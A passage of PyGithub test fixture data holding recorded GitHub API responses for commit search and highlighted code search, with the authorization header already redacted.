echnical-Take-home/labels{/name}","releases_url":"https://api.github.com/repos/anaduque13/Technical-Take-home/releases{/id}","deployments_url":"https://api.github.com/repos/anaduque13/Technical-Take-home/deployments"},"score":1.0},{"url":"https://api.github.com/repos/Natthavee16/PyGithub/commits/1265747e992ba7d34a469b6b2f527809f8bf7067","sha":"1265747e992ba7d34a469b6b2f527809f8bf7067","node_id":"MDY6Q29tbWl0NjY2NzA2MzYxOjEyNjU3NDdlOTkyYmE3ZDM0YTQ2OWI2YjJmNTI3ODA5ZjhiZjcwNjc=","html_url":"https://github.com/Natthavee16/PyGithub/commit/1265747e992ba7d34a469b6b2f527809f8bf7067","comments_url":"https://api.github.com/repos/Natthavee16/PyGithub/commits/1265747e992ba7d34a469b6b2f527809f8bf7067/comments","commit":{"url":"https://api.github.com/repos/Natthavee16/PyGithub/git/commits/1265747e992ba7d34a469b6b2f527809f8bf7067","author":{"date":"2021-06-02T15:00:00.000+10:00","name":"Steve Kowalik","email":"steven@wedontsleep.org"},"committer":{"date":"2021-06-02T15:00:00.000+10:00","name":"GitHub","email":"noreply@github.com"},"message":"Do not transform requestHeaders when logging (#1965)\n\nRequester.__log() sanitizes the headers of the request so that\r\nauthentication details are not logged, but this has the side effect of\r\nmeaning that future requests that use the same Requester object will\r\nfail. Usually, this is perfectly fine, since almost every method will\r\nonly make one request -- where this falls down is when we make another\r\nafter a redirect. Make a copy of the requestHeaders, and sanitize those.\r\n\r\nFixes #1959","tree":{"url":"https://api.github.com/repos/Natthavee16/PyGithub/git/trees/6e5b9e20c26a6b3ba8c5481a8e2896bb72a91bbb","sha":"6e5b9e20c26a6b3ba8c5481a8e2896bb72a91bbb"},"comment_count":0},"author":{"login":"s-t-e-v-e-n-k","id":15225059,"node_id":"MDQ6VXNlcjE1MjI1MDU5","avatar_url":"https://avatars.githubusercontent.com/u/15225059?v=4","gravatar_id":"","url":"https://api.github.com/users/s-t-e-v-e-n-k","html_url":"https://github.com/s-t-e-v-e-n-k","followers_url":"https://api.github.com/users/s-t-e-v-e-n-k/followers","following_url":"https://api.github.com/users/s-t-e-v-e-n-k/following{/other_user}","gists_url":"https://api.github.com/users/s-t-e-v-e-n-k/gists{/gist_id}","starred_url":"https://api.github.com/users/s-t-e-v-e-n-k/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/s-t-e-v-e-n-k/subscriptions","organizations_url":"https://api.github.com/users/s-t-e-v-e-n-k/orgs","repos_url":"https://api.github.com/users/s-t-e-v-e-n-k/repos","events_url":"https://api.github.com/users/s-t-e-v-e-n-k/events{/privacy}","received_events_url":"https://api.github.com/users/s-t-e-v-e-n-k/received_events","type":"User","user_view_type":"public","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","user_view_type":"public","site_admin":false},"parents":[{"url":"https://api.github.com/repos/Natthavee16/PyGithub/commits/ed7d0fe94f063d228a7dd95b7df5ae1bedb0707a","html_url":"https://github.com/Natthavee16/PyGithub/commit/ed7d0fe94f063d228a7dd95b7df5ae1bedb0707a","sha":"ed7d0fe94f063d228a7dd95b7df5ae1bedb0707a"}],"repository":{"id":666706361,"node_id":"R_kgDOJ70huQ","name":"PyGithub","full_name":"Natthavee16/PyGithub","private":false,"owner":{"login":"Natthavee16","id":139619947,"node_id":"U_kgDOCFJuaw","avatar_url":"https://avatars.githubusercontent.com/u/139619947?v=4","gravatar_id":"","url":"https://api.github.com/users/Natthavee16","html_url":"https://github.com/Natthavee16","followers_url":"https://api.github.com/users/Natthavee16/followers","following_url":"https://api.github.com/users/Natthavee16/following{/other_user}","gists_url":"https://api.github.com/users/Natthavee16/gists{/gist_id}","starred_url":"https://api.github.com/users/Natthavee16/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/Natthavee16/subscriptions","organizations_url":"https://api.github.com/users/Natthavee16/orgs","repos_url":"https://api.github.com/users/Natthavee16/repos","events_url":"https://api.github.com/users/Natthavee16/events{/privacy}","received_events_url":"https://api.github.com/users/Natthavee16/received_events","type":"User","user_view_type":"public","site_admin":false},"html_url":"https://github.com/Natthavee16/PyGithub","description":null,"fork":false,"url":"https://api.github.com/repos/Natthavee16/PyGithub","forks_url":"https://api.github.com/repos/Natthavee16/PyGithub/forks","keys_url":"https://api.github.com/repos/Natthavee16/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/Natthavee16/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/Natthavee16/PyGithub/teams","hooks_url":"https://api.github.com/repos/Natthavee16/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/Natthavee16/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/Natthavee16/PyGithub/events","assignees_url":"https://api.github.com/repos/Natthavee16/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/Natthavee16/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/Natthavee16/PyGithub/tags","blobs_url":"https://api.github.com/repos/Natthavee16/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/Natthavee16/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/Natthavee16/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/Natthavee16/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/Natthavee16/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/Natthavee16/PyGithub/languages","stargazers_url":"https://api.github.com/repos/Natthavee16/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/Natthavee16/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/Natthavee16/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/Natthavee16/PyGithub/subscription","commits_url":"https://api.github.com/repos/Natthavee16/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/Natthavee16/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/Natthavee16/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/Natthavee16/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/Natthavee16/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/Natthavee16/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/Natthavee16/PyGithub/merges","archive_url":"https://api.github.com/repos/Natthavee16/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/Natthavee16/PyGithub/downloads","issues_url":"https://api.github.com/repos/Natthavee16/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/Natthavee16/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/Natthavee16/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/Natthavee16/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/Natthavee16/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/Natthavee16/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/Natthavee16/PyGithub/deployments"},"score":1.0}]} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Search.testSearchHighlightingCode.txt0000644000175100001660000007011514756101563025355 0ustar00runnerdockerhttps GET api.github.com None /search/code?sort=indexed&q=toto+user%3Ajacquev6&order=asc {'Accept': 'application/vnd.github.v3.text-match+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Wed, 10 Oct 2018 08:34:18 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '30'), ('X-RateLimit-Remaining', '29'), ('X-RateLimit-Reset', '1539160518'), ('Cache-Control', 'no-cache'), ('X-OAuth-Scopes', 'admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete_repo, gist, notifications, repo, user, write:discussion'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; param=text-match; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'FFBB:2B2B:33E8CC:62F0C0:5BBDB988')] {"total_count":5,"incomplete_results":false,"items":[{"name":"record_replay.py","path":"MockMockMock/tests/record_replay.py","sha":"74b8d2a2274a74fb9a7b2155bb9fa67038110010","url":"https://api.github.com/repositories/6430524/contents/MockMockMock/tests/record_replay.py?ref=562a55542f55426f6853f3013309c85f402c359e","git_url":"https://api.github.com/repositories/6430524/git/blobs/74b8d2a2274a74fb9a7b2155bb9fa67038110010","html_url":"https://github.com/jacquev6/MockMockMock/blob/562a55542f55426f6853f3013309c85f402c359e/MockMockMock/tests/record_replay.py","repository":{"id":6430524,"node_id":"MDEwOlJlcG9zaXRvcnk2NDMwNTI0","name":"MockMockMock","full_name":"jacquev6/MockMockMock","private":false,"owner":{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars1.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"html_url":"https://github.com/jacquev6/MockMockMock","description":"Python mock library focusing on very explicit definition of the mocks' behaviour","fork":false,"url":"https://api.github.com/repos/jacquev6/MockMockMock","forks_url":"https://api.github.com/repos/jacquev6/MockMockMock/forks","keys_url":"https://api.github.com/repos/jacquev6/MockMockMock/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/MockMockMock/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/MockMockMock/teams","hooks_url":"https://api.github.com/repos/jacquev6/MockMockMock/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/MockMockMock/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/MockMockMock/events","assignees_url":"https://api.github.com/repos/jacquev6/MockMockMock/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/MockMockMock/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/MockMockMock/tags","blobs_url":"https://api.github.com/repos/jacquev6/MockMockMock/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/MockMockMock/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/MockMockMock/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/MockMockMock/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/MockMockMock/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/MockMockMock/languages","stargazers_url":"https://api.github.com/repos/jacquev6/MockMockMock/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/MockMockMock/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/MockMockMock/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/MockMockMock/subscription","commits_url":"https://api.github.com/repos/jacquev6/MockMockMock/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/MockMockMock/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/MockMockMock/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/MockMockMock/issues/comments{/number}","contents_url":"https://api.github.com/repos/jacquev6/MockMockMock/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/MockMockMock/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/MockMockMock/merges","archive_url":"https://api.github.com/repos/jacquev6/MockMockMock/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/MockMockMock/downloads","issues_url":"https://api.github.com/repos/jacquev6/MockMockMock/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/MockMockMock/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/MockMockMock/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/MockMockMock/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/MockMockMock/labels{/name}","releases_url":"https://api.github.com/repos/jacquev6/MockMockMock/releases{/id}","deployments_url":"https://api.github.com/repos/jacquev6/MockMockMock/deployments"},"score":14.030813,"text_matches":[{"object_url":"https://api.github.com/repositories/6430524/contents/MockMockMock/tests/record_replay.py?ref=562a55542f55426f6853f3013309c85f402c359e","object_type":"FileContent","property":"content","fragment":".assertEqual(\n self.recorded.instance_method(42, 43, 44, 45, toto=46, tutu=47","matches":[{"text":"toto","indices":[72,76]}]},{"object_url":"https://api.github.com/repositories/6430524/contents/MockMockMock/tests/record_replay.py?ref=562a55542f55426f6853f3013309c85f402c359e","object_type":"FileContent","property":"content","fragment":"),\n \"(42, 43, (44, 45), [('toto', 46), ('tutu', 47)])\"\n )\n self.assertEqual","matches":[{"text":"toto","indices":[38,42]}]}]},{"name":"system_calls.py","path":"MockMockMock/tests/system_calls.py","sha":"2d2cba5658372ed8453cc9491b30eed01d66a25c","url":"https://api.github.com/repositories/6430524/contents/MockMockMock/tests/system_calls.py?ref=562a55542f55426f6853f3013309c85f402c359e","git_url":"https://api.github.com/repositories/6430524/git/blobs/2d2cba5658372ed8453cc9491b30eed01d66a25c","html_url":"https://github.com/jacquev6/MockMockMock/blob/562a55542f55426f6853f3013309c85f402c359e/MockMockMock/tests/system_calls.py","repository":{"id":6430524,"node_id":"MDEwOlJlcG9zaXRvcnk2NDMwNTI0","name":"MockMockMock","full_name":"jacquev6/MockMockMock","private":false,"owner":{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars1.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"html_url":"https://github.com/jacquev6/MockMockMock","description":"Python mock library focusing on very explicit definition of the mocks' behaviour","fork":false,"url":"https://api.github.com/repos/jacquev6/MockMockMock","forks_url":"https://api.github.com/repos/jacquev6/MockMockMock/forks","keys_url":"https://api.github.com/repos/jacquev6/MockMockMock/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/MockMockMock/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/MockMockMock/teams","hooks_url":"https://api.github.com/repos/jacquev6/MockMockMock/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/MockMockMock/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/MockMockMock/events","assignees_url":"https://api.github.com/repos/jacquev6/MockMockMock/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/MockMockMock/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/MockMockMock/tags","blobs_url":"https://api.github.com/repos/jacquev6/MockMockMock/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/MockMockMock/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/MockMockMock/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/MockMockMock/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/MockMockMock/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/MockMockMock/languages","stargazers_url":"https://api.github.com/repos/jacquev6/MockMockMock/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/MockMockMock/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/MockMockMock/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/MockMockMock/subscription","commits_url":"https://api.github.com/repos/jacquev6/MockMockMock/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/MockMockMock/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/MockMockMock/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/MockMockMock/issues/comments{/number}","contents_url":"https://api.github.com/repos/jacquev6/MockMockMock/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/MockMockMock/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/MockMockMock/merges","archive_url":"https://api.github.com/repos/jacquev6/MockMockMock/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/MockMockMock/downloads","issues_url":"https://api.github.com/repos/jacquev6/MockMockMock/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/MockMockMock/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/MockMockMock/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/MockMockMock/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/MockMockMock/labels{/name}","releases_url":"https://api.github.com/repos/jacquev6/MockMockMock/releases{/id}","deployments_url":"https://api.github.com/repos/jacquev6/MockMockMock/deployments"},"score":13.455629,"text_matches":[{"object_url":"https://api.github.com/repositories/6430524/contents/MockMockMock/tests/system_calls.py?ref=562a55542f55426f6853f3013309c85f402c359e","object_type":"FileContent","property":"content","fragment":"\", \"toto\"]), b\"toto\\n\")\n\n def test_mock_unexisting_thing(self):\n with self.assertRaises","matches":[{"text":"toto","indices":[4,8]},{"text":"toto","indices":[15,19]}]}]},{"name":"create_table.py","path":"LowVoltage/actions/create_table.py","sha":"7aef3c351c905263a37ef028d9916572ecabb206","url":"https://api.github.com/repositories/24800231/contents/LowVoltage/actions/create_table.py?ref=aa9c3653e54f2ccda3db0ed647ba9ad5e5657ea3","git_url":"https://api.github.com/repositories/24800231/git/blobs/7aef3c351c905263a37ef028d9916572ecabb206","html_url":"https://github.com/jacquev6/LowVoltage/blob/aa9c3653e54f2ccda3db0ed647ba9ad5e5657ea3/LowVoltage/actions/create_table.py","repository":{"id":24800231,"node_id":"MDEwOlJlcG9zaXRvcnkyNDgwMDIzMQ==","name":"LowVoltage","full_name":"jacquev6/LowVoltage","private":false,"owner":{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars1.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"html_url":"https://github.com/jacquev6/LowVoltage","description":"Standalone DynamoDB Python client not hiding any feature","fork":false,"url":"https://api.github.com/repos/jacquev6/LowVoltage","forks_url":"https://api.github.com/repos/jacquev6/LowVoltage/forks","keys_url":"https://api.github.com/repos/jacquev6/LowVoltage/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/LowVoltage/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/LowVoltage/teams","hooks_url":"https://api.github.com/repos/jacquev6/LowVoltage/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/LowVoltage/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/LowVoltage/events","assignees_url":"https://api.github.com/repos/jacquev6/LowVoltage/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/LowVoltage/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/LowVoltage/tags","blobs_url":"https://api.github.com/repos/jacquev6/LowVoltage/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/LowVoltage/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/LowVoltage/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/LowVoltage/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/LowVoltage/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/LowVoltage/languages","stargazers_url":"https://api.github.com/repos/jacquev6/LowVoltage/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/LowVoltage/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/LowVoltage/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/LowVoltage/subscription","commits_url":"https://api.github.com/repos/jacquev6/LowVoltage/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/LowVoltage/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/LowVoltage/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/LowVoltage/issues/comments{/number}","contents_url":"https://api.github.com/repos/jacquev6/LowVoltage/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/LowVoltage/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/LowVoltage/merges","archive_url":"https://api.github.com/repos/jacquev6/LowVoltage/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/LowVoltage/downloads","issues_url":"https://api.github.com/repos/jacquev6/LowVoltage/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/LowVoltage/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/LowVoltage/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/LowVoltage/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/LowVoltage/labels{/name}","releases_url":"https://api.github.com/repos/jacquev6/LowVoltage/releases{/id}","deployments_url":"https://api.github.com/repos/jacquev6/LowVoltage/deployments"},"score":8.286316,"text_matches":[{"object_url":"https://api.github.com/repositories/24800231/contents/LowVoltage/actions/create_table.py?ref=aa9c3653e54f2ccda3db0ed647ba9ad5e5657ea3","object_type":"FileContent","property":"content","fragment":"(\n CreateTable(\"Foo\").global_secondary_index(\"foo\").project(\"toto\", \"titi\").project([\"tutu\"]).payload","matches":[{"text":"toto","indices":[72,76]}]},{"object_url":"https://api.github.com/repositories/24800231/contents/LowVoltage/actions/create_table.py?ref=aa9c3653e54f2ccda3db0ed647ba9ad5e5657ea3","object_type":"FileContent","property":"content","fragment":"\": [\n {\"IndexName\": \"foo\", \"Projection\": {\"ProjectionType\": \"INCLUDE\", \"NonKeyAttributes\": [\"toto","matches":[{"text":"toto","indices":[112,116]}]}]},{"name":"test_create_table.py","path":"LowVoltage/actions/tests/integ/test_create_table.py","sha":"f2df1efd748a20730dc5fb75059d1b0d986ddb71","url":"https://api.github.com/repositories/24800231/contents/LowVoltage/actions/tests/integ/test_create_table.py?ref=aa9c3653e54f2ccda3db0ed647ba9ad5e5657ea3","git_url":"https://api.github.com/repositories/24800231/git/blobs/f2df1efd748a20730dc5fb75059d1b0d986ddb71","html_url":"https://github.com/jacquev6/LowVoltage/blob/aa9c3653e54f2ccda3db0ed647ba9ad5e5657ea3/LowVoltage/actions/tests/integ/test_create_table.py","repository":{"id":24800231,"node_id":"MDEwOlJlcG9zaXRvcnkyNDgwMDIzMQ==","name":"LowVoltage","full_name":"jacquev6/LowVoltage","private":false,"owner":{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars1.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"html_url":"https://github.com/jacquev6/LowVoltage","description":"Standalone DynamoDB Python client not hiding any feature","fork":false,"url":"https://api.github.com/repos/jacquev6/LowVoltage","forks_url":"https://api.github.com/repos/jacquev6/LowVoltage/forks","keys_url":"https://api.github.com/repos/jacquev6/LowVoltage/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/LowVoltage/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/LowVoltage/teams","hooks_url":"https://api.github.com/repos/jacquev6/LowVoltage/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/LowVoltage/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/LowVoltage/events","assignees_url":"https://api.github.com/repos/jacquev6/LowVoltage/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/LowVoltage/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/LowVoltage/tags","blobs_url":"https://api.github.com/repos/jacquev6/LowVoltage/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/LowVoltage/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/LowVoltage/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/LowVoltage/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/LowVoltage/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/LowVoltage/languages","stargazers_url":"https://api.github.com/repos/jacquev6/LowVoltage/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/LowVoltage/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/LowVoltage/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/LowVoltage/subscription","commits_url":"https://api.github.com/repos/jacquev6/LowVoltage/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/LowVoltage/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/LowVoltage/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/LowVoltage/issues/comments{/number}","contents_url":"https://api.github.com/repos/jacquev6/LowVoltage/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/LowVoltage/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/LowVoltage/merges","archive_url":"https://api.github.com/repos/jacquev6/LowVoltage/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/LowVoltage/downloads","issues_url":"https://api.github.com/repos/jacquev6/LowVoltage/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/LowVoltage/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/LowVoltage/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/LowVoltage/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/LowVoltage/labels{/name}","releases_url":"https://api.github.com/repos/jacquev6/LowVoltage/releases{/id}","deployments_url":"https://api.github.com/repos/jacquev6/LowVoltage/deployments"},"score":11.386696,"text_matches":[{"object_url":"https://api.github.com/repositories/24800231/contents/LowVoltage/actions/tests/integ/test_create_table.py?ref=aa9c3653e54f2ccda3db0ed647ba9ad5e5657ea3","object_type":"FileContent","property":"content","fragment":"(1, 2)\n .global_secondary_index(\"the_gsi\")\n .hash_key(\"hh\", _lv.STRING)\n .project(\"toto","matches":[{"text":"toto","indices":[128,132]}]},{"object_url":"https://api.github.com/repositories/24800231/contents/LowVoltage/actions/tests/integ/test_create_table.py?ref=aa9c3653e54f2ccda3db0ed647ba9ad5e5657ea3","object_type":"FileContent","property":"content","fragment":"(r.table_description.global_secondary_indexes[0].projection.non_key_attributes[0], \"toto\")\n 